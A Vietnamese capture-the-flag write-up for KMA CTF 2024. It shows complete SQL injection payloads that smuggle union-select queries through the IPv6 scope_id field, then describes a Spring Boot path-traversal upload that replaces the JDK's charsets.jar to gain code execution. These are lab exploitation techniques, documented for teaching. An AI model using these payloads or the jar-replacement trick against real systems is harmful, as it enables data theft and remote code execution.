# Writeup KMA CTF 2024 - Lần 1
## Sanity Check

Check discord:

> Flag: `KMACTF{KMACTF2024_h4s_b3gun}`
## pickleball

Bài này flag được chia làm 3 phần
- Phần 1: nằm trong `/robots.txt`:

>KMACTF{p1Ckleb4ll_
- Phần 2: nằm trong file js: `/assets/index-f7659d98.js`

>WitH-uU_
- Phần 3: nằm trong file css: `/assets/index-e2ac387f.css`

>piCklepal_5a6b89113abb}
=> Kết hợp lại được flag hoàn chỉnh: `KMACTF{p1Ckleb4ll_WitH-uU_piCklepal_5a6b89113abb}`
## malicip

Bài nhau cho source code, đọc lướt qua biết được flag nằm trong database theo file `db/schema.sql`:

Đi vào file `web/src/app/app.py`, thấy được 2 endpoint dính lỗ hổng SQLi:

Tuy nhiên các params đều được check theo kiểu dữ liệu như `/list-ip` là `int` và `/check-ip` là `ip_address`. Việc inject chỉ dùng `int` hay bypass nó khá khó, cũng như theo đề bài thì mình tập trung vào cái thứ 2.
Bây giờ đi tìm cách injection bằng cách đi vào chúng.
### ipaddress
Trong `ipaddress.ip_address` được validate theo 2 dạng IPv4 và IPv6:

- IPv4:

address truyền vào được kiểm tra dạng `int`, `byte` hay `string` để check từng loại, vì loại string là khả quan nhất nên đi vào `_ip_int_from_string()`:

Dựa vào `.` để split rồi chuyển sang int và tiếp tục xử lý qua `_parse_octet`, trong đây thì cũng không làm được gì khác và mình chuyển sang IPv6.
- IPv6:
Tương tự vậy:

Trước khi đưa vào `_ip_int_from_string()` thì nó được qua `_split_scope_id` để phân tách dựa vào `%`:

Ví dụ với `fe80::1%eth0` thì `addr` `fe80::1` và `scope_id` `eth0`

Và đến đây nhận thấy nó chỉ check cái `addr` chứ không check cái `scope_id` phía sau.
### Khai thác SQLi

- Lấy tên table: `fe80::1%'+union+select+1,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema='malicip'--+`

Kết quả: `______________________________________________m4LiC10u5_T413Le`
- Lấy tên column:
`fe80::1%'+union+select+1,column_name+from+information_schema.columns+where+table_name='______________________________________________m4LiC10u5_T413Le'--+`

Kết quả: `_____________________________________________MaL1ci0uS_c0lUmnN`
- Lấy flag:
`fe80::1%'+union+select+1,_____________________________________________MaL1ci0uS_c0lUmnN+from+______________________________________________m4LiC10u5_T413Le--+`

>Flag: `KMACTF{actually__this_flag-is_not_so_malicious_but_the_ipv6_is}`
## Spring Up

Đây là ứng dụng viết bằng spring, đầu tiền add lib trên IntelliJ IDEA để xem file `jar`


Theo Dockerfile, để lấy flag thì phải RCE:

Chạy docker:

Tại class `io.devme4f.springup.FileController` ứng với mapping `/file`:
Có 3 endpoint:
- `@GetMapping({"testUI"})`: giao diện upload file

- `@PostMapping({"uploadResource"})`: dùng để upload và xử lý file.
- `@GetMapping({"downloadResource"})`: dùng để đọc file.
### [GET] /file/downloadResource
Tại đây nhận vào param `fileName` được nối trực tiếp với `"uploads/"` và đưa vào:

Điều này xảy ra lỗ hổng đọc file bất kỳ.

Tuy nhiên mình đọc thử file vài file trên server nhưng cũng không thu được thông tin gì đáng kể.
### [POST] /file/uploadResource
Tiếp tực với `uploadResource`, có thể upload bất kỳ file gì vì không có filter nội dung hay extension mà chỉ là tên file dựa vào `BLACK_LIST`:


Có vẻ như author không muốn upload file `bash`, `sh` để thực thi lệnh cũng như upload vào các folder `etc` , `var`, `proc`, `cron` để có thể làm 1 điều gì đó🙄.
Bên cạnh đó tiếp tục lỗ hổng Path traversal để ghi file vào thư mục bất kỳ:

Test:


Lúc test thì mình nhận thấy file có thể ghi đè được cũng nảy sinh được nhiều ý tưởng mới nhưng cũng chẳng làm được gì. Up webshell thì nó cũng không thực thi hay gọi ở bất kỳ đâu hay override các init scripts thực thi khi chạy service nào đó nhưng cũng đã bị filter,...
Sau 1 hồi thì mình tìm thấy [repo này](https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks) kèm với đó là [bài viết](https://landgrey.me/blog/22/).
Ý tưởng bài viết trên là ghi file trong JDK HOME, tuy nhiên không phải tất cả file jar đều tự động được load ngay mà qua việc `Opened` để đọc bytecode đưa vào bộ nhớ và sau đó `Loaded` để load chúng và sử dụng. Việc bây giờ là tìm file jar chưa được opened và theo bài viết là `charsets.jar` hoặc có thể file khác nữa.
`Charset.forName("GBK")` không được sử dụng và nó sẽ load `charsets.jar`
Như vậy request trigger:
```
GET / HTTP/1.1
Accept: text/html;charset=GBK
```

### Exploit
Về việc build file jar thì:
Từ file `charsets.jar` kia dùng extract nó ra `jar -xvf charsets.jar`, tạo project có package tương tự vậy (hoặc lấy sẵn trong repo kia):

Và sửa command RCE trong class `IBM33722`:

>Chỗ này thì mình đưa flag vào trong `/tmp` vì thấy không có outbound và cũng đồng thời kết hợp với lỗ hổng đọc file chưa dùng đến.
Complile được 2 file .class mới:


Và replace 2 file cũ và thực hiện compress lại: `jar -cvmf META-INF/MANIFEST.MF charsets.jar ./*`
Upload file:

Request trigger:

Có thể thấy trong log:

Khi thực hiện lại request sẽ biết nó không load lại file jar, như vậy nó chỉ load 1 lần để dùng.
Kết quả:

Bây giờ chỉ việc thực hiện trên server thật và lấy flag:

>Flag: `KMACTF{ayoooo00oo0ooo0o0o00o0ooooo000oo0oo0o00000}`